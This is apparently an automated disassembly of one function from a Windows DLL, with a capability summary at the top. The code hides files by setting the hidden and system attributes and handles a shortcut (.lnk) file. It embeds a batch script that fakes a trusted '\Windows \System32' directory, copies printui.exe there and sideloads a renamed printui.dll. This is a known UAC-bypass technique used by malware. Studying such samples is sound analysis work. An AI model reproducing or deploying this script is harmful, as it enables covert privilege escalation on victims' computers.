Function at 0x18004c820
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x780
movaps xmmword [rsp + 0x770], xmm6
mov rax, qword [0x18017c280]
xor rax, rsp
mov qword [rsp + 0x760], rax
mov rsi, rdx
mov r14, rcx
xor ebx, ebx
lea rdi, [0x1801614a0]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 4
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004c87e
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
movabs r15, 0xc000000000000000
mov qword [rsp + 0x2a0], r15
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x18004c8c1
mov rcx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
movabs r12, 0xc000000000000010
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x260]
call fcn.18000d570
nop
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 4
mov rdx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x18004c965
mov rdx, qword [rsi]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
lea rdx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x18004c9a0
mov rdx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x280]
call fcn.18000d570
nop
lea rcx, [rsp + 0x60]
call fcn.180005620
mov rdx, rax
lea rax, [0x180161520]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 9
lea rcx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rcx, qword [rsp + 0x260]
mov qword [rsp + 0x240], rcx
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004ca98
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2f0]
call fcn.18000d570
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18004cb59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004cb54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e58a
call fcn.180085240
movdqa xmm6, xmmword [0x180162980]
movdqu xmmword [rsp + 0x70], xmm6
mov word [rsp + 0x60], bx
lea rcx, [rsp + 0x370]
call fcn.180005620
mov rdx, rax
lea rax, [0x180161538]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 9
lea rcx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rcx, qword [rsp + 0x260]
mov qword [rsp + 0x240], rcx
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004cbe8
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x310]
call fcn.18000d570
nop
mov rdx, qword [rsp + 0x388]
cmp rdx, 7
jbe 0x18004ccaf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004ccaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e590
call fcn.180085240
movdqu xmmword [rsp + 0x380], xmm6
mov word [rsp + 0x370], bx
lea rcx, [rsp + 0x60]
call fcn.180005620
mov rdx, rax
lea rax, [0x180161550]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 9
lea rcx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rcx, qword [rsp + 0x260]
mov qword [rsp + 0x240], rcx
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004cd39
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x3b0]
call fcn.18000d570
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18004cdfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004cdf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e596
call fcn.180085240
movdqu xmmword [rsp + 0x70], xmm6
mov word [rsp + 0x60], bx
lea rax, [0x180161568]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 5
lea rax, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rax, qword [rsp + 0x260]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x18004ce73
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x3d0]
call fcn.18000d570
nop
lea rax, str..lnk
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 8
mov rdx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x18004cf14
mov rdx, qword [rsi]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2a0], r15
lea rdx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x18004cf4f
mov rdx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x240], rdx
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x240], 2
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x330]
call fcn.18000d570
nop
lea rdx, [r14 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18004cfe0
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
mov r8d, 3
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x240]
call fcn.180022500
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x240], ecx
lea r13, [0x18017d270]
mov qword [rsp + 0x248], r13
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18004d097
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d0a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d0a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e59c
jmp 0x18004d0a4
mov dil, 1
test ecx, ecx
jne 0x18004e5a2
jmp 0x18004d058
call fcn.180085240
test dil, dil
je 0x18004d366
mov eax, ebx
xchg byte [r14 + 0xb0], al
mov rdx, qword [rsp + 0x348]
cmp rdx, 7
jbe 0x18004d103
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d0fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5bc
call fcn.180085240
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], 7
mov word [rsp + 0x330], bx
mov rdx, qword [rsp + 0x3e8]
cmp rdx, 7
jbe 0x18004d167
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d162
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5c2
call fcn.180085240
movdqu xmmword [rsp + 0x3e0], xmm6
mov word [rsp + 0x3d0], bx
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 7
jbe 0x18004d1c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d1bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5c8
call fcn.180085240
movdqu xmmword [rsp + 0x3c0], xmm6
mov word [rsp + 0x3b0], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x18004d219
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d214
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5ce
call fcn.180085240
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x18004d27d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5d4
call fcn.180085240
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], bx
mov rdx, qword [rsp + 0x298]
cmp rdx, 7
jbe 0x18004d2e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d2dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5da
call fcn.180085240
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], 7
mov word [rsp + 0x280], bx
mov rdx, qword [rsp + 0x278]
cmp rdx, 7
jbe 0x18004d345
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d340
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5e0
call fcn.180085240
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x278], 7
mov word [rsp + 0x260], bx
jmp 0x18004e558
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rdx, qword [rsp + 0x2f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3a8], rbx
mov r8, qword [rsp + 0x300]
lea rcx, [rsp + 0x390]
call fcn.18000b080
nop
lea rdx, [rsp + 0x310]
cmp qword [rsp + 0x328], 7
cmova rdx, qword [rsp + 0x310]
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], rbx
mov r8, qword [rsp + 0x320]
lea rcx, [rsp + 0x350]
call fcn.18000b080
nop
lea rcx, [rsp + 0x390]
cmp qword [rsp + 0x3a8], 7
cmova rcx, qword [rsp + 0x390]
mov rax, qword [rsp + 0x3a0]
lea rdx, [rcx + rax*2]
mov rdi, rdx
call fcn.180020cc0
cmp rax, rdx
je 0x18004d46c
nop
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x18004d43f
cmp cx, 0x2f
jne 0x18004d448
add rax, 2
cmp rax, rdx
jne 0x18004d430
cmp rax, rdx
je 0x18004d46c
nop dword [rax]
lea r8, [rdi - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x18004d46c
cmp cx, 0x2f
je 0x18004d46c
mov rdi, r8
cmp rax, r8
jne 0x18004d450
sub rdx, rdi
sar rdx, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, rdx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x370]
call fcn.1800067b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d4ea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d4e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5e6
call fcn.180085240
lea rcx, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova rcx, qword [rsp + 0x350]
mov rax, qword [rsp + 0x360]
lea rdx, [rcx + rax*2]
mov rdi, rdx
call fcn.180020cc0
cmp rax, rdx
je 0x18004d55c
nop dword [rax]
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x18004d52f
cmp cx, 0x2f
jne 0x18004d538
add rax, 2
cmp rax, rdx
jne 0x18004d520
cmp rax, rdx
je 0x18004d55c
nop dword [rax]
lea r8, [rdi - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x18004d55c
cmp cx, 0x2f
je 0x18004d55c
mov rdi, r8
cmp rax, r8
jne 0x18004d540
sub rdx, rdi
sar rdx, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, rdx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2a0]
call fcn.1800067b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d5da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d5d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5ec
call fcn.180085240
lea rdx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rdx, qword [rsp + 0x260]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, qword [rsp + 0x270]
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
mov r8d, 3
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x240]
call fcn.180022500
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x240], ecx
mov qword [rsp + 0x248], r13
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18004d6ac
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d6be
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d6b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e5f2
jmp 0x18004d6b9
xor dil, dil
test ecx, ecx
jne 0x18004e5f8
jmp 0x18004d66d
call fcn.180085240
test dil, dil
je 0x18004d6eb
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x60]
call fcn.1800284c0
nop
lea rcx, [rsp + 0x60]
call fcn.18004a740
nop
lea rcx, [rsp + 0x60]
call fcn.180006740
lea rdx, [rsp + 0x330]
cmp qword [rsp + 0x348], 7
cmova rdx, qword [rsp + 0x330]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, qword [rsp + 0x340]
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
mov r8d, 3
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x240]
call fcn.180022500
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x240], ecx
mov qword [rsp + 0x248], r13
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18004d7bd
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d7cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d7ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e612
jmp 0x18004d7ca
xor dil, dil
test ecx, ecx
jne 0x18004e618
jmp 0x18004d77e
call fcn.180085240
test dil, dil
je 0x18004d7fc
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x60]
call fcn.1800284c0
nop
lea rcx, [rsp + 0x60]
call fcn.1800405f0
nop
lea rcx, [rsp + 0x60]
call fcn.180006740
lea rdx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rdx, qword [rsp + 0x260]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x258], rbx
mov r8, qword [rsp + 0x270]
lea rcx, [rsp + 0x240]
call fcn.18000b080
nop
lea rcx, [rsp + 0x240]
cmp qword [rsp + 0x258], 7
cmova rcx, qword [rsp + 0x240]
call fcn.180083c44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18004e632
mov rdx, qword [rsp + 0x258]
cmp rdx, 7
jbe 0x18004d8bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d8b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e64b
call fcn.180085240
lea rdx, [rsp + 0x280]
cmp qword [rsp + 0x298], 7
cmova rdx, qword [rsp + 0x280]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, qword [rsp + 0x290]
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
mov r8d, 3
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x240]
call fcn.180022500
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x240], ecx
mov qword [rsp + 0x248], r13
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18004d98f
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004d9a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004d99c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e651
jmp 0x18004d99c
mov dil, 1
test ecx, ecx
jne 0x18004e657
jmp 0x18004d950
call fcn.180085240
test dil, dil
je 0x18004d9ce
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x60]
call fcn.1800284c0
nop
lea rcx, [rsp + 0x60]
call fcn.180040640
nop
lea rcx, [rsp + 0x60]
call fcn.180006740
lea rcx, [rsp + 0x280]
cmp qword [rsp + 0x298], 7
cmova rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18004da1c
test al, 4
jne 0x18004da1c
lea rcx, [rsp + 0x280]
cmp qword [rsp + 0x298], 7
cmova rcx, qword [rsp + 0x280]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18004da6a
test al, 4
jne 0x18004da6a
lea rcx, [rsp + 0x260]
cmp qword [rsp + 0x278], 7
cmova rcx, qword [rsp + 0x260]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rdx, qword [rsp + 0x2f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, qword [rsp + 0x300]
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
lea rdx, [r14 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18004dabb
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x258], rbx
lea rcx, [rsp + 0x240]
call fcn.18000b080
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x240]
cmp qword [rsp + 0x258], 7
cmova rcx, qword [rsp + 0x240]
xor r8d, r8d
call fcn.18008398c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18004e671
mov rdx, qword [rsp + 0x258]
cmp rdx, 7
jbe 0x18004db6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004db69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e68f
call fcn.180085240
movdqu xmmword [rsp + 0x250], xmm6
mov word [rsp + 0x240], bx
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18004dbc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004dbbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e695
call fcn.180085240
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], rbx
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x2d0]
call fcn.18000b080
nop
lea rdx, [rsp + 0x280]
cmp qword [rsp + 0x298], 7
cmova rdx, qword [rsp + 0x280]
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rbx
mov r8, qword [rsp + 0x290]
lea rcx, [rsp + 0x80]
call fcn.18000b080
nop
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
lea rdx, [rcx + rax*2]
mov rdi, rdx
call fcn.180020cc0
cmp rax, rdx
je 0x18004dcae
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x18004dc84
cmp cx, 0x2f
jne 0x18004dc8d
add rax, 2
cmp rax, rdx
jne 0x18004dc75
cmp rax, rdx
je 0x18004dcae
lea r8, [rdi - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x18004dcae
cmp cx, 0x2f
je 0x18004dcae
mov rdi, r8
cmp rax, r8
jne 0x18004dc92
sub rdx, rdi
sar rdx, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8, rdx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.18000b080
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1800067b0
nop
lea rax, str._echo_off_r_nexplorer__..__r_nif_not_exist__Windows_System32010101____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tmkdir__Windows_System32010101__r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x242
lea rax, [rsp + 0xa0]
xorps xmm0, xmm0
xor ecx, ecx
